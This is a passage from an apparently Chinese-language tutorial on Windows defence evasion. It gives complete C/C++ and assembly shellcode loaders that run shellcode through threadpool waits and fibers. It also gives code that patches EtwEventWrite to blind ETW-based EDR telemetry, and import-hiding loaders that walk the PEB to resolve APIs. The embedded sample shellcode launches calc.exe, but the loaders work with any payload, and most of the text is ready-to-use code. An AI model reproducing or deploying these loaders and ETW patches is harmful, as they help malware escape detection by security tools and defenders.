x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; HANDLE event = CreateEvent (NULL , FALSE, TRUE, NULL ); LPVOID shellcodeAddress = VirtualAlloc (NULL , sizeof (buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory (shellcodeAddress, buf, sizeof (buf)); PTP_WAIT threadPoolWait = CreateThreadpoolWait ((PTP_WAIT_CALLBACK)shellcodeAddress, NULL , NULL ); SetThreadpoolWait (threadPoolWait, event, NULL ); WaitForSingleObject (event, INFINITE); return 0 ; }
创建协程运行
协程(Coroutine)是一种轻量级的线程,也被称为纤程(Fiber)或微线程(Microthread)。
它们是 一种用户级别的线程,由程序自身管理,而不是由操作系统内核管理。纤程是一种可以提高程序执行效率的调度机制,特别适用于需要大量并发执行任务的场景
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <Windows.h> #include <Wincrypt.h> #pragma comment(lib, "crypt32.lib" ) int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; DWORD oldProtect; VirtualProtect ((LPVOID)buf, sizeof (buf), PAGE_EXECUTE_READWRITE, &oldProtect); ConvertThreadToFiber (NULL ); void * shellcodeFiber = CreateFiber (0 , (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL ); SwitchToFiber (shellcodeFiber); DeleteFiber (shellcodeFiber); return 0 ; }
Patch ETW
Windows 事件跟踪 (ETW) 是⼀项内置功能,最初设计用于执行软件诊断,如今 ETW 被EDR厂商广泛使用.
对 ETW 的攻击会使依赖ETW遥测的⼀整类安全解决方案失效. ETW指Windows事件追踪,是很多安全产品使用的windows功能。 其部分功能位于ntdll.dll中,可以修改内存中的etw相关函数达到禁止日志输出的效果,最常见的方法是 修改EtwEventWrite函数.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #include <windows.h> #include <stdio.h> #include <iostream> using namespace std;typedef void * (*tNtVirtual)( HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection );tNtVirtual oNtVirtual; void patchETW () { unsigned char patch[] = {0x48 , 0x33 , 0xc0 , 0xc3 }; ULONG oldprotect = 0 ; size_t size = sizeof (patch); HANDLE hCurrentProc = GetCurrentProcess (); unsigned char sEtwEventWrite[] = {'E' ,'t' ,'w' ,'E' ,'v' ,'e' ,'n' ,'t' ,'W' ,'r' ,'i' ,'t' ,'e' ,0x0 }; void * pEventWrite = GetProcAddress (GetModuleHandle (L"ntdll.dll" ), (LPCSTR)sEtwEventWrite); if (pEventWrite == NULL ) { cout << "Error: Unable to get EtwEventWrite address" << endl; return ; }else { printf ("NTDLL.DLL START ADDRESS: %08x\n" , (DWORD)GetModuleHandle (L"ntdll.dll" )); } FARPROC farProc = GetProcAddress (GetModuleHandle (L"ntdll.dll" ), "NtProtectVirtualMemory" ); if (farProc == NULL ) { cout << "Error: Unable to get NtProtectVirtualMemory address" << endl; return ; }else { printf ("NtProtectVirtualMemory ADDRESS: %08x\n" , (DWORD)farProc); } oNtVirtual = (tNtVirtual)farProc; oNtVirtual (hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect); memcpy (pEventWrite, patch, sizeof (patch)); oNtVirtual (hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect); FlushInstructionCache (hCurrentProc, pEventWrite, size); } int main () { patchETW (); unsigned char ShellCode[] = "" ; void * exec = VirtualAlloc (0 , sizeof (ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy (exec, ShellCode, sizeof (ShellCode)); ((void (*)())exec)(); return 0 ; }
导入表隐藏 什么是导入表
import Address Table
在PE结构中,存在一个导入表,导入表中声明了这个PE文件会载入哪些模块,同时每个模块的结构中又会指向模块中的一些函数名称。
这样的组织关系是为了告诉操作系统这些函数的地址在哪里.方便修正调用地址.
由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或多个DLL中.
当PE文件被装入内存的时候,Windows装载器才将DLL装入,并调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.
其中导入地址表就指示函数实际地址.
那如何隐藏这个函数呢?或者如何动态的调用这个函数而不直接使用此函数名称,那么就要使用动态调用API函数了.
它可以在运行时动态解析并获取API函数的地址。这样,敏感函数不会出现在导入表中,从而使得恶意代码更难被发现.
实现思路
定位关键模块:首先找到包含核心API函数的关键模块(如kernel32.dll
)。这通常可以通过解析PEB(Process Environment Block)
中的模块列表来完成。
获取API地址:可以通过GetProcAddress
定位到kernel32.dll
后,需要解析导出表(Export Table
)以获取 GetProcAddress
函数的地址。GetProcAddress
是一个核心函数,用于在运行时动态解析其他API 函数的地址并且可以结合LoadLibrary
函数获取任意模块的任意函数。
加载其他API:通过GetProcAddress
函数,可以逐个获取其他需要的API函数的地址。例如,可以通过GetProcAddress
获取VirtualProtect
、CreateThread
和WaitForSingleObject
等函数的地址。
准备Shellcode
:将Shellcode
存储在缓冲区中,使用VirtualProtect
函数将缓冲区的内存页属性更改为可执行,以确保可以安全地执行Shellcode
深度隐藏 通过手动获取dll文件的方式,获取这两个函数的地址。 大致流程:
找到kernel32.dll的地址
遍历kernel32.dll的导入表,找到GetProcAddress的地址
使用GetProcAddress获取LoadLibrary函数的地址
然后使用 LoadLibrary加载DLL文件
使用 GetProcAddress查找某个函数的地址
Windbg分析kernel32找基址 由于每个windows
下的程序都会加载kernel32.dll
,因此,找基址的过程是一样的.所以我们就用notepad.
查找地址 通过r $peb
查看peb
地址.获取到peb
地址后,对_PEB
结构体解析dt _PEB 0000008e0d35b000
也可以通过r $teb
查看teb
地址.获取到teb
地址后,对_TEB
结构体解析dt _TEB 0000008e0d364000
解析LDR 既然PEB
的地址找到了,就对PEB
进行解析,首先找到LDR
接下来,解析LDR
1 dt _PEB_LDR_DATA 0x00007ffea6976440
_LIST_ENTRY
后面,怎么有两个值,是什么含义呢?加个-b,就看出来了
1 2 3 4 typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink ; struct _LIST_ENTRY *Blink ; } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
双向链表是一种非常常见的数据结构,用于维护各种资源和对象的列表。_LIST_ENTRY
是一个基本的链表结构,包含两个指针:Flink
和 Blink
,分别指向下一个和上一个链表条目。
解析InLoadOrderModuleList 我们选取InLoadOrderModuleList
这个链.对它的Flink
进行解析.
1 dt _LDR_DATA_TABLE_ENTRY 0x0000020ce3606190
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; WORD ObsoleteLoadCount; WORD TlsIndex; LIST_ENTRY HashLinks; ULONG TimeDateStamp; PVOID EntryPointActivationContext; PVOID Lock; PVOID DdagNode; LIST_ENTRY NodeModuleLink; PVOID LoadContext; PVOID ParentDllBase; PVOID SwitchBackContext; RTL_BALANCED_NODE BaseAddressIndexNode; RTL_BALANCED_NODE MappingInfoIndexNode; ULONG OriginalBase; LARGE_INTEGER LoadTime; ULONG BaseNameHashValue; ULONG LoadReason; ULONG ImplicitPathOptions; ULONG ReferenceCount; ULONG DependentLoadFlags; UCHAR SigningLevel; ULONG CheckSum; PVOID ActivePatchImageBase; ULONG HotPatchState; } LDR_DATA_TABLE_ENTRY;
继续遍历InLoadOrderLinks
的Flink
字段:
1 dt _LDR_DATA_TABLE_ENTRY 0x0000020ce3606040
还不是Kernel32.dll
,继续查InLoadOrderLinks
:
到此,通过遍历InLoadOrderLinks
链,我们找到了KERNEL32.DLL
,取出基址就比较容易了,在0x30
偏移处.取出这个基址,我们就可以解析PE导出表,找到我们需要的函数的地址了.
代码实现 x86 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 #include <stdio.h> #include <windows.h> typedef FARPROC (WINAPI* p_GetProcAddress) (HMODULE hModule, LPCSTR lpProcName) ;typedef HMODULE (WINAPI* p_LoadLibraryA) (LPCSTR lpLibFileName) ;typedef BOOL (WINAPI* p_VirtualProtect) (LPVOID, DWORD, DWORD, PDWORD) ;typedef HANDLE (WINAPI* p_CreateThread) (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD) ;typedef DWORD (WINAPI* p_WaitForSingleObject) (HANDLE, DWORD) ;HMODULE inline __declspec(naked) GetKernel32Moudle () { __asm { mov eax, fs:[0x30 ] mov eax, [eax + 0x0C ] mov eax, [eax + 0x14 ] mov eax, [eax] mov eax, [eax] mov eax, [eax + 0x10 ] ret } } DWORD pGetProcAddress (HMODULE Kernel32Base) { char szGetProcAddr[] = { 'G' ,'e' ,'t' ,'P' ,'r' ,'o' ,'c' ,'A' ,'d' ,'d' ,'r' ,'e' ,'s' ,'s' ,0 }; DWORD result = NULL ; PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)Kernel32Base; PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)Kernel32Base + pDosHead->e_lfanew); PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader; PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)Kernel32Base + pOptHead->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD* pAddOfFun_Raw = (DWORD*)((DWORD_PTR)Kernel32Base + pExport->AddressOfFunctions); WORD* pAddOfOrd_Raw = (WORD*)((DWORD_PTR)Kernel32Base + pExport->AddressOfNameOrdinals); DWORD* pAddOfNames_Raw = (DWORD*)((DWORD_PTR)Kernel32Base + pExport->AddressOfNames); char * pFinded = NULL , * pSrc = szGetProcAddr; for (DWORD dwCnt = 0 ; dwCnt < pExport->NumberOfNames; dwCnt++) { pFinded = (char *)((DWORD_PTR)Kernel32Base + pAddOfNames_Raw[dwCnt]); while (*pFinded && *pFinded == *pSrc) { pFinded++; pSrc++; } if (*pFinded == *pSrc) { result = (DWORD)((DWORD_PTR)Kernel32Base + pAddOfFun_Raw[pAddOfOrd_Raw[dwCnt]]); break ; } pSrc = szGetProcAddr; } return result; } int main () { unsigned char buf[] = "填写x86的shellcode" ; HMODULE hKernal32 = GetKernel32Moudle (); p_GetProcAddress GetProcAddress = (p_GetProcAddress)pGetProcAddress (hKernal32); p_VirtualProtect VirtualProtect = (p_VirtualProtect)GetProcAddress (hKernal32, "VirtualProtect" ); p_CreateThread CreateThread = (p_CreateThread)GetProcAddress (hKernal32, "CreateThread" ); p_WaitForSingleObject WaitForSingleObject = (p_WaitForSingleObject)GetProcAddress (hKernal32, "WaitForSingleObject" ); DWORD oldProtect; VirtualProtect ((LPVOID)buf, sizeof (buf), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE hThread = CreateThread (NULL , 0 , (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL , 0 , NULL ); WaitForSingleObject (hThread, INFINITE); return 0 ; }
X64 动态获取 GetProcAddress 由于x64无法编写内联汇编代码, 因此需另创一个asm文件来进行编写 右键—>添加—>新建项—>GetInLoadOrderModuleList.asm
x64 1 2 3 4 5 6 7 8 9 .CODE GetInLoadOrderModuleList PROC mov rax, gs:[60 h] ; 获取 PEB 的地址,PEB 在 TEB 中的偏移是 0x60 mov rax, [rax+18 h] ; 获取 PEB_LDR_DATA 的地址,位于 PEB 的偏移 0x18 mov rax, [rax+10 h] ; 获取 InLoadOrderModuleList 的地址,位于 PEB_LDR_DATA 的偏移 0x10 ret ; 返回调用者,结束过程 GetInLoadOrderModuleList ENDP END
鼠标右键单击GetInLoadOrderModuleList.asm
—>属性—>从生成中排除设置为否
—>项类型设置为定义生成工具
—>自定义生成工具—>命令行—>ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm
—>输出框—>$(IntDir)%(FileName).obj
打开项目属性—>C/C++—>代码生成—>禁用安全检查
main.cpp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 #include <windows.h> extern "C" PVOID __stdcall GetInLoadOrderModuleList () ;typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; HMODULE getKernel32Address () { PLIST_ENTRY moduleList = (PLIST_ENTRY)GetInLoadOrderModuleList (); PLIST_ENTRY current = moduleList->Flink; while (current != moduleList) { LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD (current, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); const wchar_t * moduleName = entry->BaseDllName.Buffer; if (_wcsicmp(moduleName, L"KERNEL32.DLL" ) == 0 ) { return (HMODULE)entry->DllBase; } current = current->Flink; } return nullptr ; } DWORD64 getGetProcAddress (HMODULE hKernel32) { PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernel32; PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); for (size_t i = 0 ; i < exportDir->NumberOfNames; i++) { LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[AddressOfNameOrdinals[i]]); PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); if (!strcmp ((const char *)FunctionName, "GetProcAddress" )) { return F_va_Tmp; } } return 0 ; } typedef FARPROC (WINAPI* pGetProcAddress) (HMODULE, LPCSTR) ;typedef BOOL (WINAPI* pVirtualProtect) (LPVOID, DWORD, DWORD, PDWORD) ;typedef HANDLE (WINAPI* pCreateThread) (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD) ;typedef DWORD (WINAPI* pWaitForSingleObject) (HANDLE, DWORD) ;int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; HMODULE hKernel32 = getKernel32Address (); pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress (hKernel32); pCreateThread CreateThread = (pCreateThread)GetProcAddress (hKernel32, "CreateThread" ); pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress (hKernel32, "WaitForSingleObject" ); pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress (hKernel32, "VirtualProtect" ); DWORD oldProtect; VirtualProtect ((LPVOID)buf, sizeof (buf), PAGE_EXECUTE_READWRITE, &oldProtect); HANDLE hThread = CreateThread (NULL , 0 , (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL , 0 , NULL ); WaitForSingleObject (hThread, INFINITE); return 0 ; }
简易版 该版本没有实现动态获取GetProcAddress
函数地址, 而是直接使用并通过GetProcAddress
获取其他Windows Api
函数地址.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #include <windows.h> typedef LPVOID (WINAPI* lpVirtualAlloc) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) ;typedef HANDLE (WINAPI* hCreateThread) ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) ;typedef DWORD (WINAPI* dwWaitForSingleObject) ( HANDLE hHandle, DWORD dwMilliseconds ) ;typedef VOID (WINAPI* vRtlMoveMemory) ( IN VOID UNALIGNED* Destination, IN CONST VOID UNALIGNED* Source, IN SIZE_T Length ) ;int main () { hCreateThread myCT = (hCreateThread)GetProcAddress (GetModuleHandle (L"Kernel32.dll" ), "CreateThread" ); lpVirtualAlloc myVA = (lpVirtualAlloc)GetProcAddress (GetModuleHandle (L"Kernel32.dll" ), "VirtualAlloc" ); dwWaitForSingleObject myWFSO = (dwWaitForSingleObject)GetProcAddress (GetModuleHandle (L"kernel32.dll" ), "WaitForSingleObject" ); vRtlMoveMemory mymemmove = (vRtlMoveMemory)GetProcAddress (GetModuleHandle (L"kernel32.dll" ), "RtlMoveMemory" ); unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; LPVOID lpVA = myVA (NULL , sizeof (buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); mymemmove (lpVA, buf, sizeof (buf)); HANDLE hThread = myCT (NULL ,NULL ,(LPTHREAD_START_ROUTINE)lpVA,NULL ,NULL ,0 ); myWFSO (hThread, -1 ); CloseHandle (hThread); return 0 ; }